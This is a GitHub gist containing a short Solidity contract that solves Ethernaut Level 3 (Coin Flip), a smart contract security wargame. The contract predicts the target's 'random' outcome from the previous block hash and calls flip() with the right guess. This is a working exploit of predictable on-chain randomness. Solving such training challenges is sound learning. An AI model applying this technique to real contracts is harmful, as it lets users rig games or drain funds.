Last active
December 14, 2022 17:51
-
-
Save Chirag21/1e15774696861e3fed8fd3a4f8cda6b9 to your computer and use it in GitHub Desktop.
Solution for Ethernaut Level 3 - Coin Flip. For Remix IDE
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.17; | |
interface ICoinFlip { | |
function consecutiveWins() external view returns (uint256); | |
function flip(bool) external returns (bool); | |
} | |
contract CoinFlipHack { | |
function hack() external { | |
uint256 blockValue = uint256(blockhash(block.number - 1)); | |
uint256 factor = 57896044618658097711785492504343953926634992332820282019728792003956564819968; | |
uint256 flip = blockValue / factor; | |
bool guess = flip == 1 ? true : false; | |
ICoinFlip coinFlip = ICoinFlip(PUT_INSTANCE_ADDRESS_HERE); | |
coinFlip.flip(guess); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment